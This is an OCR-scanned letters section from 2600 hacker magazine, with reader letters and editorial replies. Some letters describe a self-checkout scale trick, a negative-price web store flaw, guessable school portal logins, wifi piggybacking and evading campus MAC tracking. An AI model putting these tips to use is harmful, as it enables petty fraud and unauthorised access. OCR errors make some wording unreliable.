O n  you r  box  you  run  a daemon which updates you r  Inter­
net IP at dyndns  whenever it changes .  There a re free p ro·· 
grams to do this or ones that cost money. Now when you 
n eed to access your computer/server from the Internet, 
j ust use you r  domain  name (somename .mi ne . n u )  a nd  it 
wi ll a lways poi nt to your dynamic  IP. http ://www.dyndns  
- .org/services/dyndn s/ 

D e a r  2600: 
I am actua lly ab le to p rovide a bit of lig ht at the end 

of the tun nel  for students labori n g  under  restrictive poli­
cies a nd  asi n i ne  ru les about netwo rk secu rity. I recently 
found  m u ltip le vulnerabi lities in my school 's p rivate n et­
work, vulnerabilities that were much  mo re comp lex than  
j ust admin/admin  logi n combinations .  Whi le I did duti­
fu lly repo rt it to the IT depa rtment of my school, they 
j ust asked if I could come in a nd  expla in  it to the n etwork 
admin istrator. I felt s lig htly nervous because if this g uy 
thought I had  " hacked" the system ,  then I cou ld have 
been expelled/sued .  I went in and the people were su r­
p risi n g ly fri end ly, not accusi ng  me of hacki n g  or a ny 
other  such stuff. They agreed to patch the secu rity ho les 
and than ked me  for my time .  They did this even though I 
cou ld have potentia lly stolen admin  access to ou r  net­
work a n d  consequentia lly 55Ns from the students . This i s  
especia lly dangerous because I go  to  a p rivate schoo l  
which ,  whi le havi n g  a diversity of economic  classes, a lso 
has  students who probably have i n  excess of severa l h u n ­
d red thousand do lla rs i n  thei r  bank  accounts .  

I a m  fai r ly su re t ha t  the admi n knew I cou ld have 
done  this ,  but he sti ll thanked me for my ti me  and  com-
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mended me for maki n g  the network secure. H opefu lly 
this wi ll be a beacon of hope or somethi ng  to students 
everywhere. 

Steve 

D e a r  2600: 
As one of the poor souls who happen to work in a n d  

a round  t h e  air li n e  i n dustry i n  these ti mes I c a n  say that 
some of your poi nts about the "selected" process is  
wrong .  You a re rig h t  that if you see fou r  S 's on  you r  
boa rdi ng  pas s  that  you  have been  selecled for ra ndom 
screen ing ,  but at the same ti me there a re ways out of it 
which I ' l l get i nto. You stated that people a re ta rgeted 
for the type of clothes they wea r or what ki n d  of hai rstyle 
they have. That is  i n correct. Most of the time  a person re­
ceives the S's on thei r  boa rdi ng  pass because they buy a 
one-way ticket ( most hijackers have historica lly done  
th i s ) ,  pa id  cash  (once aga in  history backs  th i s  up ) ,  a re 
goi n g  to a " hot spot" desti nation ,  a re (the worst one  yet) 
tra nsfers from a n other air li ne ,  or somehow a re on the 
government watch li st. 

When you travel and see these S's on your ti cket, 
your ticket agent can remove them in most cases. When 
talki n g  to the ti cket agent remember to be polite and 
friend ly. If  you 're not they can make you r  tri p pretty bad .  
If  you a re m i litary traveli n g  under  orders you can easi ly 
get this removed by showi n g  you r  ID a n d  o rders .  If you 
ha ppen to s ha re the name of someone on  the watch li st, 
contact you r  loca l FBI branch a nd  they might be ab le to 
get your name  off the li st. This does work as  I have seen 
it done .  

Whi le I don 't li ke al l  the ru les set  i n  p lace I do  see  a 
need for some of them . When traveli n g  remember  that 
the ru les a ren 't  meant to restri ct travel, j ust to make sure 
that it is done  safely. 

M o u ser_i n c  
While the reasons you give are certainly used to jus­

tify additional screening, people are a lso targeted be­
cause of the way they look or act. The latter is most likely 
done by humans and the former by machines. But in all 
cases, it's pretty ineffective as anyone with an evil motive 
and half a brain can easily alter any of these parameters. 
Where the screening process is effective is in getting the 
traveling public programmed to accept this kind of treat­
ment since it's a llegedly being done to keep them safe. 

De a r  2600: 
Servus Casand ro asked about writi n g  an a rti cle on 

satellite televis ion outside the U . S .  There i s  a lready free­
to-ai r i n formati on  pub li shed .  Anyone with an IRD digita l 
down converter, a satellite dish ,  a nd  an understandi n g  
o f  h o w  t o  p e a k  a n  a ntenna  on a satellite with t h e  appro­
priate LNA/LNB  shou ld look  at http ://www.global­
cm . net/mpeg2centra l. html. 

hayd e n Lh 

D e a r  2600: 
Patrick Madigan 's  a rti cle in 2 1 : 4  regardi n g  the re­

moval of Ad-wa re usi n g  various tools was fantastic .  H ow­
ever, as  a sysadmin  who's run i nto his fai r sha re of users 
who click "yes" to just about a nythi ng  under  the sun ,  
there's one  thi ng  I 'd li ke to  add .  Most spywa re/adwa re 
hangs  out in the Tem p  di rectory, under  the Loca l Setti ngs 
fo lder on  a mach ine  (a h idden fo lder  i n  c :\ Documents 
a n d  Settings\<user name>\Loca l Setti n gs\Temp\) .  Go­
ing i nto a n  i nfected computer i n  Safe Mode and navigat-

i n g  to this di rectory usua lly revea ls q uite a few offend ing  
executab les (as wel l  as a s lew of temp files that  a ren 't re­
a lly needed ) .  Occasiona lly, spywa re a lso lurks in the 
c :\Documents and Setti ngs\<user name>\Application  
- Data\ folder as  well, but it's a little mo re dangerous to  
sta rt removi n g  softwa re from there as  there might be 
somethi ng you need. 

The best way I 've found  to remove adwa re/spyware is  
to i n stall you r  spywa re removal tools of choice (Spybot 
Sea rch and Destroy/Ad-Aware/CWSh redder/Hijack Thi s ) .  
Then ,  reboot i n  Safe Mode ,  go to  the Add/Remove p ro­
grams app let, and un install a nyth i ng  you fi nd  i n  there 
that you don 't want. Then navigate to the Loca l 
Setti ngs\ Tem p  fo lder I mentioned above and  clean it 
out. Then run  your choice of spyware rem oval tools. Once 
these a re done ,  you may want to navi gate to the registry 
to check the Run Key that Patrick mentioned ( H KEY_ 
-Current_USER\Software \Microsoft\ Wi n dows \ Cu rrent 
-Versi on\Run ) .  

Good  luck! 
Mogus 

Dear 2600: 
After writi n g  the Arti cle "Selfcheckout or  ATM?"  i n  

2 1 : 4  I d i d  a little more exploration  with t h e  NCR  E-Series 
Selfcheckout systems .  I have found  that if you p ress the 
help button before sta rti n g  you r  order (or  selecti n g  a 
la nguage) it wi ll give you the choice of " Logi n "  or "Call 
fo r H elp . "  Du ri n g  this ti me you can put a nythi ng  you 
want i nto the baggi ng  a rea without a la rm .  Hitti ng  the 
"Go Back" button wi ll reca li brate the sca le before the 
order is  sta rted.  

Bob Kr in kLe 
As always, it's a bad idea to actually try and get a way 

with physically stealing items. But learning where the 
weaknesses are in these machines is quite fascinating. 

Questions 

D e a r  2600: 
One  day I was messi n g  a round  tryi ng  to get netmeet­

i ng  to work so an a nxious friend  cou ld test his new mic.  I 
bypassed my router a n d  con nected di rectly to my com­
puter's NIC. I noticed that for the fi rst ti me  i n  ages my 
WAN IP address had changed .  Curious li ke most, I re­
booted the modem to see if it changed agai n .  It d idn 't. 
So I con nected back to my router, rebooted the modem 
and  voi la , there was the old IP address agai n .  I had n oth­
i ng  better to do  so I cloned the MAC from another NIC 
and it got a n ew, different IP address. Each MAC I en­
tered i nto the router's WAN side,  fictitious  or  rea l, re­
tai ned a un ique IP address that it p u lled back after 
n umerous MAC changes a n d  reboots. 

Is this norma l? 
l l x  

Yes, this is normal. DHCP servers assign IP addresses 
based on the MAC (physical) address requesting it. If you 
change your MAC address, the DHCP server will assign 
you a different IP address. Change the MAC address back 
and you 'll be assigned the original address, provided the 
lease did not expire. Be careful, though. ISPs noticing 
this activity tend to get upset and may suspend your ac­
count, requesting an explanation of this activity. Most 
terms of service allow only one IP address per account. 
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Dear 2600:  
It  ai n 't easy bei n g  g reen .  I have noti ced through the 

yea rs how often you refer to i nteLLigent peopLe as " hack­
ers . "  Whether or  not we have coi ned the term ,  it is  sti LL 
spent describ ing  us. I don 't condemn popu La r  cuLtu re for 
its misuse of LabeLs as a way to better understan d  its su r­
round ings .  H owever, I do q uestion  the moraLity of a pub­
Li cation  with such h igh  sta nda rds as  2600 usi n g  the term 
"hacker" so LooseLy. Perhaps  promoti n g  this La beL i s  a 
misi nterpretation  of what i nteLLigent peopLe do in thei r  
spare ti me .  PLease correct me  i f  I a m  mista ken .  

Davi d  O liver 
We'd like some more specifics as to how we're using 

the term loosely. Hackers are curious and inquisitive by 
nature and will spend an awfully long time trying to find 
results. That holds true of people writing computer pro­
grams, scanning for interesting phone numbers, decrypt­
ing algorithms, defeating security systems, and any 
number of other activities. They are all bound together 
by a quest for knowledge and aren 't inclusive or exclusive 
of any particular age group, sex, race, nationality, etc. 
Technology isn 't even a requirement for the development 
of a hacker mindset. But people who have no interest in 
the actual learning process and are focused instead on 
stealing, intimidation, bragging, privacy invasion, and 
other such ends really aren 't hackers in our opinion. The 
mass media may disagree since they consider anyone 
who touches a computer and then does something bad to 
be a hacker. That seems to be the epitome of a "loose" 
definition. Of course, it's a lso possible for someone to 
have a hacker mindset and then use that  ability for evil 
purposes. But when they make that transition, they 
pretty clearly leave the hacker world behind. 

D e a r  2600: 
I was wonderi n g  if I couLd be ab Le to officia LLy Li n k  to 

your website from mine .  My website is  sti LL in its beta 
form but is  goi ng to be a computer reLated site. 

Batm a n  24 
We don 't know what you mean by "officially" but 

regardless, no permission is necessary for you to link 
to anyone else on the net. Don 't let anyone tell you 
otherwise. 

D e a r  2600: 
I recently took a temp job and  my empLoyer gave me  

one  of  his cards so I wouLd have his ceLL phone  n umber. 
On this ca rd were severa L phone  n u mbers for the com­
pany. One  of the n u m bers was supposed to be a toLL-free 
n u m ber to contact someone about bids/quotes. Instead ,  
when I dia Led a computerized voice sa id  "WeLcome  to  Ve r­
izon Wi reLess Airfone ,  your connection  to the skies. We 
a re now con necti n g  you to the ai rcraft."  I did n ot stay on  
the Li ne  Long  enough  to  see  if I wouLd actua LLy be con­
nected to a n  airpLane  as I was tryi n g  to sort out a ll issue 
rega rdi n g  my pay check.  Wou Ld this have been a toLL-free 
caLL a n d  if I had stayed on the Li n e  wou Ld I have been 
con nected to someone on  a n  airpLane?  

Jason 
It would certainly appear as if  you were about to be 

connected to someone on an airplane. You will undoubt­
edly regret not embarking on this adventure for the rest 
of your life. As to how this happened, we suspect your 
company simply forwarded the toll-free number to follow 
whoever usually answered it while they were traveling. 
It's also possible that  this toll-free number always goes 

to a cell phone and it was the cell phone that  was for­
warded. Verizon Wireless A irfone allows Verizon Wireless 
customers to forward their cell phones directly to their 
seats on airplanes and bill calls from the plane to their 
cell phones at much lower prices than non-Verizon cus­
tomers. (We suspect there must be numerous cases of 
people who forget to "unforward" their phones when 
they leave the aircraft. We're curious whether or not sub­
sequent passengers wind up getting all kinds of un­
wanted calls as a result.) 

D e a r  2600: 
I am under  the imp ression that current ceLL p hones 

a re G PS enabLed for "emergency" Location  by those who 
want to Locate them.  If  th is  is  t rue ,  can the G PS function 
a nd  phone  Location  be disp Layed on  the user ' s  h andset? 
Someti mes I too wouLd Li ke to know where I a m .  

D P  
Most recent cell phones do have a GP5 receiver (as­

sisted GP5, to be more specific) contained within and are 
usually clearly marked as having such a device. They are 
as a rule only activated when using the E91 1  service and 
are not continually receiving coordinates when an emer­
gency call is not in progress. However, there is generally 
an admin/debug menu which allows for testing otthe de­
vice and therefore displaying your coordinates. The 
method varies greatly based on the make/model of your 
cell phone, but there are often instructions to do this 
posted online. 

D e a r  2600: 
When I send you guys a rticles wi LL you edit them? I 

mea n ,  I spend more ti me editi ng  them than 1 do writi ng  
them.  Wou Ld you  be ever so ki nd  as to  do  that  fo r me ,  o r  
i s  that  my job?  

Al l  articles are edited for clarity and various other 
things. It's your job to make your article as literate, fac­
tual, and interesting as possible. It's a lot less likely to 
even be considered if it's painful to read. 

D e a r  2600: 
I am a fo rmer emp Loyee of a company that I want to 

write an a rti cle about. One  thi n g  I am worried about 
though i s  havi n g  them discover who wrote it. What ki nd  
of  protections  do  you  offer fo r those  who submit a rti­
cles? Do you ever revea L where an a rticle ca me  from? 

Dave 
We have never revealed the author of an article to 

any authority or outraged corporation. However, people 
have been tracked down because of the byline they used. 
50 be very careful what you select as your byline if you 
want to stay anonymous. Be aware that sometimes your 
username (not your full email address) may wind up be­
coming your byline if there's no other name given and no 
request for anonymity. Be sure to make any such re­
quests in the same submission as separating them will 
increase the odds that  the wrong byline will be used. You 
should a lso be careful where you make submissions from. 
If you want to make a submission concerning a particular 
company, it's not a good idea to use their mail servers to 
send it from. Also, be aware that using encryption won 't 
necessarily help you in such a case as the fact that  you 
sent email to articles@2600. com will still be registered 
(this incidentally is the only email address that accepts 
articles). An anonymous remailer would fix that but 
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might raise other flags within the organization. We gen­
erally prefer cleartext ASCII from an address that you will 
be reachable at for some time. Many encryption attempts 
wind up using incompatible keys or versions and we very 
quickly lose patience when there's a huge pile of articles 
to go through. 

D e a r  2600: 
My fri end  has a sister who i s  parano id .  She  i nsta lled 

a spyware program ca lled "I Am Big B rother." He wants to 
get rid of it because it logs everythi n g  he does .  Does 
a nyone  know any vulnerabi lities? I a m  goi n g  to get rid of 
it myself at our school  and he  thi n ks it would be a good 
idea.  

B lack_Angel  
We've been running a number of articles about de­

tecting and removing spyware. There are different meth­
ods for different programs. We're certain this one can be 
defeated as well. We can only hope that the irony of a 
sister running a program called "I Am Big Brother" and 
creating paranoia to address her own isn 't lost on any­
one. Incidentally, the program can be found at 
http://www. iambigbrother. orgj. 

Appea ls 

D e a r  2600: 
There i s  a neo Nazi site currently distributi n g  tens  of 

thousands of hate music filled CDs .  Please let the 2600 
network know. I hope that someone will choose to try 
a n d  s h ut down this site. I know it's aga inst many hackers' 
ethics to wreck people's sites, but I hope that someone 
wi ll make an  exception  i n  this case .  We have to stop 
these ki nds  of evi l people! Please use the power of you r  
group t o  ri d the world o f  a n  outlet fo r fi lth a nd  hatred . 

I o n ly know about 2600 from o n li n e  wa nderi ngs  back 
i n  high school. I have no  com puter ski lls o r  hacker  
friends .  You guys were the o n ly thi ng  I cou ld thi n k  of to 
stop this .  Please h elp ! 

D B  
Think about what happens when someone tries this 

tactic on us. We wind up getting more support than ever 
before from people and places we never would have been 
in touch with ordinarily. By attempting this on others, 
you're opening up the same type of support for them. In 
other words, you 'll be making them stronger. You should 
have the ability to counter hate speech with words and 
logic, rather than resorting to desperate measures. You 
need to be attacking the cause of the problem, notjust 
the symptoms. The assumption that  shutting down sites 
is what hackers are a ll about simply strengthens the in­
accurate mass media perception of us. Any idiot can use 
brute force to try and shut someone up. Let's hope that  
we're all a few steps above that. 

Utter Stupidity 

D e a r  2600: 
I am a h igh  school  student in Ra lei g h ,  NC. My h igh  

school  belongs  to the Wake County Public  School  System 
a n d  they use B lackboard fo r o n li n e  teacher-student rela­
tions .  On  B lackboard a student can log in  a n d  access thei r  
g rades for certai n classes, read a n nouncements from 
their teachers, a n d  turn in assi g nments e lectronica lly. I 
was i ntroduced to this system in my Programming  II class 
and I thought  it was ki nd of stra nge that i n  order to 

logi n ,  the student wou ld use h is/her  " N C  Wise" n u m ber 
(student ID  n u mber) a s  both their  username  and thei r  
password . In Wake County, a ll t h e  students' N C  Wise 
n u m bers sta rt with 20,  and then there a re fou r  random 
digits after 20 ,  li ke 201234 o r  somethi n g .  Therefore a ny­
one  cou ld enter 20 ,  fou r  ra ndom digits, a nd  then get ac­
cess to that student's grades a n d  persona l  info rmati o n .  I 
tried a few myself a nd  even accessed a teacher' s  account !  
If  I had wanted to, I could have changed a ll of his class's 
assi g nments, n ot to m ention  his own password so that 
he  could n ot logi n .  I j ust wanted to warn the com m unity 
about B lackboa rd which is used in schools nationa lly. 
Students who use this a nd  have the same login requi re­
ments as  Wake County does s hou ld change their pass­
words for better security. 

Publi c  Disp lay 
In a system as badly designed as this, one really has 

an obligation to demonstrate these monumental  flaws. 
The irony is that anyone doing this would be blamed for 
the privacy invasion rather than those who designed this 
travesty. We hope this opens some eyes and we invite 
anyone else living with such poor security to let us know. 

D e a r  2600: 
There is a State of California website that lets you 

submit a li cense p late o r  VIN n u m ber to show the smog 
certifications  for that  vehicle. When you enter a VIN or  
p late it s hows both the VIN a nd  p late for that vehicle. It 
makes it easy for car thi eves to stamp  out fa ke VIN tags 
to match the p late. The site is  at http://www.smogcheck.  
-ca . gov /vehtests/ pubtstq ry.aspx.  

g mitch 
Why such information is available to the world is 

beyond us. But it enabled us to learn that there used to 
be a 1989 Buick Century out there with a "2600" plate 
that has since changed to a more normal plate, possibly 
due to a sale. By what twisted logic should anyone in the 
world be able to have access to this information plus a 
whole lot more? 

Appreciations 

D e a r  2600: 
I want to tha n k  you with a ll my hea rt fo r you r  steady 

voice against war. If TAP was sti ll pub li sh ing ,  I believe 
they might be ho ld ing strong  as  well. But so many others 
have caved .  Dishearten ing to say the least. 

I joi n ed the a rmy right  when Operation  Sundevi l  be­
gan (p robably beati n g  po litica l i mpri sonment by the skin 
of my teeth )  and I've a lways known how many from your 
readership a re conservative libertari ans .  So it takes guts 
for you to spea k out. 

Thanks  fo r bei n g  you .  
m a rco ( a ka p ri m e  a n a rchist) 

You're welcome. But we doubt we've cornered the 
market on opposing the senseless waste of human life. 
There are many "conservative libertarians" speaking out 
as well. 

D e a r  2600: 
I j ust wa nted to write to say that I picked up my fi rst 

copy of 2600 a few days ago a n d  read it over. For the last 
two yea rs I have developed a love for computers a nd  
have wanted to  know everythi n g  I cou ld possi b ly lea rn 
about them.  I don 't know much  but I know more than 
m ost around me .  I owe pa rt of that to people li ke the 
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2600 staff who li ke to s ha re the information  I love to 
read with the world . So than k  you for teach ing me a few 
new things a nd  keep up the good work. I wi ll conti n ue  to 
buy a n d  keep up with 2600 from this day o n .  

Robbie B rewer 

Dear 2600: 
I j ust wanted to let you guys know that I love the 

magazi ne .  I love it so m uch I j ust might name  my first 
born "Twenty Six H u n d red . "  I 'm savi n g  for the "all back 
issues and lifetim e  subscription "  deal. Questi o n :  How 
long  wi ll those "special p rices" last? 

Rob H u n d red 
The prices go up occasionally as more back issues be­

come part of the package. But we'll always try to have 
good deals for people on our Internet store 
(store. 2600. com} . We suggest buying them before your 
first born grows up and kills you for giving him/her that 
name. 

Security Issue 

Dear 2600: 
Enteri n g  my third decade  of paranoia  I did some web 

searches th rough  google to fi n d  out how "fa r out there" I 
a m .  Not usi n g  compli cated google hacks or a nythi n g  li ke 
that I simp ly used my paranoia  a nd  hatred of "big 
brother" to aid me .  A few years ago I rea lized that every­
one wi ll be a rrested ,  jailed, or ticketed for the most mi­
nor offenses but the paper trai l has  made its way on li ne .  
J ust about every police depa rtment jai l, o r  correctiona l  
faci lity has  a website a n d  often posts the offenders on­
li ne  i n cludi ng  name ,  age,  phone, a nd  (gasp) Socia l  Secu­
rity n umbers so if you were to dive i nto these records you 
cou ld trace someone back as fa r as  the ea rly 90s a nd  
have more than  enough  evidence to  stea l thei r  identi­
ties. 

B rian  
If i t  wasn 't so sad it  would be funny that  these orga­

nizations are giving such ammunition to future potential 
criminals. This seems to be yet another way that  prison­
ers are being punished above and beyond their actual 
sentences. 

Experiences 

D e a r  2600: 
I've worn my 2600 sh i rt on many occasions ,  not to 

s how off but to support the magazi ne  a nd  the i nforma­
tion  it dissemi nates . As a NOC mon key on  Telco Alley in 
downtown LA, I fi nd  pub lic  transportation  the best way 
to get to a nd  from work a nd ,  whi le the thought of bei n g  
accosted for havi n g  a sh i rt with the word " Hacker" on  i t  
has  crossed my m i nd ,  I've n ever cared e nough  n ot to 
wea r it on  my way to work. 

This morni ng ,  ha lfway to work, a n  u n cann i ly fri end ly 
vagrant hoped on the bus .  H is  g lasses missi n g  a lens, 
ha i r  d isheveled , and his suitcase covered i n  layers of dis­
carded p lastic, h e  carried his th ree stri ng  guitar i n  one  
h and  a nd  wheeled the suitcase i n  a nother, excusi n g  h im­
self a nd  politely n otifyi n g  people to  watch thei r  toes .  His  
demeanor  struck me  as  odd ,  o n ly because I 've spent the 
past  th ree yea rs of my life bei n g  ha rdened by literally i n ­
sane vagrants ridi n g  the bu s .  

Sudden ly, whi le gazi n g  out the wi ndow I hea r  a 
"2600 !  Ooooo h !  Is that your  sh i rt? ! "  Insti nctively I li ed ,  

sayi n g  a friend  bought  it. H e  p roceeded to ask  m e  if I 
knew what the magazi n e  was, what 2600 stood for, a n d  a 
h ost of other  q uestions .  Immediately I felt bad for lyi n g .  
H e  seemed to  be genu inely excited a n d  knowledgeab le .  

I never caught  his name ,  though h e  did m u mb le his 
a lleged former p h reaker h and le .  H e  went o n  to talk 
about Cap 'n Crunch,  b lue boxi n g ,  red boxi ng ,  tru n k  dial­
i n g ,  the m eeti ng s  at Un ion  Station  he re i n  Los Angeles, 
how he  may have si ng le-handed ly d riven Spri n t  to switch 
from five digit a uthorization  codes to seven to 14, a n d  
h o w  he  never bothered t o  lea rn computers because he  
was  afraid he ' d  be a danger  to  society a n d  h imself. I 
a lm ost wis h  I cou ld have ridden the rest of the way with 
h im ,  but my stop cam e  before his a n d  I wished him a 
good day. 

Of cou rse, part of me is s keptical .  Though  he  was 
q uite convi n ci n g ,  I can 't h elp but wonder  if h e  truly was 
a part of the p h reaki n g  scene. And  if h e  did fa ll through 
the cracks ,  h ow? And why? Maybe we ' l l  c ross  paths an ­
othe r  day, a nd  I ca n treat h im to l unch  a n d  h ea r  his sto­
ri es. O r  maybe someone readi ng  this knows exactly who 
I 'm ta lki ng  about. Eithe r  way, it defi nitely made for a n  
i nteresti n g  mo rn i ng  a nd  I thought I ' d  sha re it with you .  

a a ron  
Yet another instance of our  shirts bringing people 

together. 

D e a r  2600: 
Six yea r reader, fi rst time  writer. I have a confessi on 

to make to you guys: I 'm addicted to free Internet. I've 
been accessi ng  my nei ghbor's wi reless h igh  speed Inter­
net connection  for about a yea r now. It sta rted off sma ll 
at first, j ust an H P  Pavi lion  laptop with a Li n ksys wifi 
ca rd.  I would o n ly con nect to the network when I was ex­
pecti ng  an i mportant emai l  a nd  the li ke. But then I 
started con necti ng  a ll the ti me and  stayi n g  con nected .  It 
got worse. When the signa l  wasn 't strong  enough  and  
would n 't con nect me,  I wou ld get the h igh  speed with­
d rawals. I have since gotten g reedier  and now have a 
network of two PCs, two p ri nters, a ra nge expander, said 
laptop, and I even have p lans  to bui ld the "Cantenna "  
(www.oreillynet. com/lptjwlg/448) .  a ll r unn i ng  wire­
less ly a n d  con nected to my neighbor's Internet. The 
paradox is this :  I would never have lea rned a ll the th ings 
I did to set up  this pi rated network if they had  si mp ly se­
cured thei r  router properly. It's not my fau lt that when 
i n stalli n g  thei r  con n ection ,  they j ust clicked " Next" 15 
times,  is  it?  I've never actua lly damaged anyth ing  on  
thei r  end a nd  I have no  i ntention  of doi n g  so (even 
though they had logs disabled, so they wouldn 't know 
what went wrong  anyway) .  J ust a ra ndom thought I had 
today. Thanks  for  li steni ng .  Keep up  the g reat work  guys. 

Mi keyB 

Observa tions 

Dear 2600: 
Whi le I was visiti ng  a well-respected d rive-clon ing  

compa ny's website, I noticed a n  interesti n g  a d .  The ad 
flashed a n  image  of a young girl  a nd  then com mented on  
h ow they were fighti n g  chi ld exp loitati o n .  Another pic­
tu re of a bui ldi n g  b lowi ng  up  and a comment that they 
were fighti n g  terrori sm .  The next picture was of a cop 
ho ldi ng  weed and the note that drug use i s  at an a ll ti me  
h i gh .  The last fram e  was  the one that  i ntri g ued me .  The  
caption  read " Hackers cost the world economy bi llions"  
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and  the image  was of a computer screen with the 2600 
website loaded .  I was surprised to see that as  I am a n  
avi d  fan o f  2600 and  know that y o u  don 't promote the 
ma li cious  use of informati o n .  Keep up  the good work, 
guys! 

kyle 
Even more unbelievable than the existence of this 

site is the fact that you didn't tell us its name. Fortu­
nately, other readers shared this info. 

D e a r  2600; 
I suspect you a re awa re of this but if n ot: 2600 is fea­

tured as  one of the evi ls i n  the ad at http ://logicube.com 
.. / prod ucts/hd_du p lication/md 5 .asp .  

scotk 
It's amazing to us that terrorism, child exploitation, 

drug trafficking, and white collar crime are all repre­
sented with generic images but when it comes to "cyber 
crime, " they have no problem sticking our name up there 
in lights. While most other organizations would contem­
plate legal action, we 'll simply issue a standard Level One 
electronic jihad. We mustn 't disappoint after all. 

D e a r  2600; 
I was recently looki ng  a round  on www. skinit.com for 

cell phone  or PDA s ki n s .  I was looki ng  at the skins  fo r the 
Sidekick II  and went through  the whole pu rchase p rocess 
without the i ntent of actua lly buyi n g  (probably because I 
don 't even have a Si dekick) . But there was one  thi ng  I 
noti ced . When you buy a ski n  you choose the picture you 
want the ski n  to have and at the bottom of the wi ndow it 
has a space that shows the p rice (usua lly $0) a nd  then it 
cha rges you $9 . 95  for the ski n  itself. What I realized is 
that if you type " -9 .95"  in the price space it wi ll take that 
off the fi n a l  order. This is  a way to get a ll the ski n s  you 
want fo r free (or  at least unti l  one  of the skinit employ­
ees reads  2600) . Maybe you can even make money off of 
this !  

System Downfall  
Maybe you can even start a life of crime just by typ­

ing in some numbers on a web page. This is an example 
of a really poorly designed interface, many of which exist 
on the net. Or it could be a really well designed interface 
to compile a database of dishonest people. 

D e a r  2600; 
Check it out . . .  MS teaches parents to understa nd  

the i r  chi ldren 's  " 1 3 3t speak" - http://www.microsoft.com 
.. / athome/ secu rity / chi ld ren/ki dta lk. ms px. 

Doda McCh eesle 
This is a must read for anyone who wants to laugh 

all night. We wonder if future archaeologists will be 
studying this language with the same attention given to 
ancient Greek. Some highlights: 

"While it's important to respect your children's pri­
vacy, understanding what your teenager's online slang 
means and how to decipher could be important in certain 
situations and as you help guide their online experience. 
While it has many nicknames, information-age slang is 
commonly referred to as leetspeek, or leet for short. Leet 
(a vernacular form of 'elite') is a specific type of com­
puter slang where a user replaces regular letters with 
other keyboard characters to form words phonetically -
creating the digital equivalent of Pig Latin with a twist of 
hieroglyphics. 

"Leet words can be expressed in hundreds of ways us­
ing different substitutions and combinations, but once 
one understands that nearly all characters are formed as 
phonemes and symbols, leetspeek isn 't difficult to trans­
late. A lso, because leet is not a formal  or regional di­
a lect, any given word can be interpreted differently, so 
it's important to use discretion when evaluating terms. 
The following serves as a brief (and by no means defini­
tive) introduction to leet through examples. 

"Numbers are often used as letters. The term 'leet' 
could be written as '1337, ' with '1 ' replacing the letter L, 
'3 ' posing as a backwards letter E, and '7' resembling the 
letter T. Others inc/ude '8' replacing the letter B, '9 ' used 
as a G, '0 ' (zero) in lieu of 0, and so on . 

"Rules of grammar are rarely obeyed. Some leet­
speekers will capitalize every letter except for vowels 
(LiKe THiS) and otherwise reject conventional English 
style and grammar, or drop vowels from words (such as 
converting very to 'vryj. 

"Mistakes are often left uncorrected. Common typing 
misspellings (typos) such as 'teh ' instead of the are left 
uncorrected or sometimes adopted to replace the correct 
spelling. 

Leet words of concern or indicating possible illegal 
activity: 

'warez' or 'w4r3z': Illegally copied software available 
for download. 

'h4x': Read as 'hacks, ' or what a malicious computer 
hacker does. 

'prOn': An anagram of 'porn, ' possibly indicating the 
use of pornography. 

'sploitz' (short for exploits): Vulnerabilities in com­
puter software used by hackers. 

'pwn': A typo-deliberate version of own, a slang term 
often used to express superiority over others that can be 
used maliciously, depending on the situation. This could 
aloa be spelled '0 \j\jn3d' or 'pwn3d, ' among other vari­
ations. Online video game bullies or 'griefers ' often use 
this term. " 

D e a r  2600; 
This letter is for i nformationa l  pu rposes on ly as  I 

don 't have enough knowledge of the lega lities to say 
whether o r  not you could possib ly get in trouble fo r it. 
O n  that n ote, access ru les may vary from ca mpus to ca m­
pus .  

In this exa mp le I wi ll use Michigan State University's 
network, due to the fact that I have persona l  experience 
with thei r  netwo rk. But many college cam puses a re set 
up simi la rly. 

When you fi rst con nect your computer to the ether­
net po rts on  campus  (a nywhere a round  campus ) ,  you a re 
prompted to enter a username  and  password (p rovided 
by the school  a nd  ti ed to your academic account) .  This is  
fi n e  fo r most people. When  you enter your name/pass 
you wi ll be li n ki n g  your ethernet MAC address to your ac­
cou nt. You a re a llowed to register m u lti ple MAC ad­
d resses, but the poi nt is  that they a ll tie to you r  student 
account .  To get a round  this (I persona lly don 't li ke hav­
i ng  my Internet behavi or  tied to my student account), 
get a used network card. On  college ca mpuses there a re 
a lways people looki n g  to sell used computer equipment. 
At MSU, we have an  active student com m unity with clas­
sified ads. When pu rchasi n g  a used ethernet ca rd , there 
is a very good chance that the last owner d idn 't remem­
ber to  remove the registration  from his/her  card  before 
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selli n g  it. Pop that in your mach ine ,  plug i n ,  a n d  you 
shou ld be ab le to stay away from easy tracki n g .  

Li ke I said ,  many other  u niversities u s e  the same 
MAC/account registrati on .  J ust somethi n g  to thi n k  
about. 

Impact 

D e a r  2600: 
Check out the hacki n g/puzzle game  on  

www. n inebows .com.  There a re n ine  steps a nd  it seems 
li ke nobody ca n get past the  second .  Google it and you 
can fi nd  some rea lly lo ng  foru m th reads  about it too .  

fuq 
It's a good way to lose your mind without having to 

leave the house. 

D e a r  2600: 
Not on ly is  Ikea a g reat store to buy stuff, it's loaded 

with workstations  to lay thei r  products out on .  Although  
I d idn 't p lay too  much ,  I was  ab le to  con nect to  the other  
XP  PCs  on the network, go  i nto the C d rive, change  the 
screensaver (but I put it back) , a n d  create a nd  de lete a 
test text file on the desktop .  

I wa s  fee li n g  a bit paranoid so I did n 't b ri n g  up  IE o r  
write down  the IPs  but  I h ave a feeli ng  it wou ld h ave 
been fun .  Du ri n g  the rest of my visit i n  the store I cou ld­
n 't spot  a si ng le secu rity ca mera .  I m ust go  back and  
p lay. 

Rifkey 

D e a r  2600: 
I stumbled on sort of a "secu rity through obscu rity" 

type approach to securi n g  a SOHO  router, such as a 
li nksys. As you know, m ost SOHO  routers have a n  i nter­
face which is  accessib le through port 80 o r  http ://i p_ad­
d ress which is  someti mes accessi b le public ly. To d rive 
away people attempti n g  to logi n to your router (you ob­
vious ly want to change  the defau lt password ) ,  you ca n 
a lso forward port 80 to a machi ne  that doesn 't exist. 
When they try to logi n to your router they wi ll be given 
an error message that the h ost was not found .  J ust a n  
added layer  o f  p rotecti o n .  

p 4 p 3 r  t l g 3 r  

D e a r  2600: 
I was looki n g  a round  at a rchive .o rg ,  a n d  n oticed that 

you ca n submit a URL and they wi ll bri n g  up  a rchived ver­
sions  of the site. I typed www. 2600 .com a nd  found  q uite 
a few older versi ons  . . . .  I was b rowsi ng  one of the older 
versions  of you r  site and saw the  li n k :  "Mirror DeCSS."  I 
clicked on it a nd  su re enough  they h ave a ll of the mir ro rs 
sti ll li n ked,  even though  you were forced to ta ke 
them off of your page . . . .  I just thought you might fi n d  
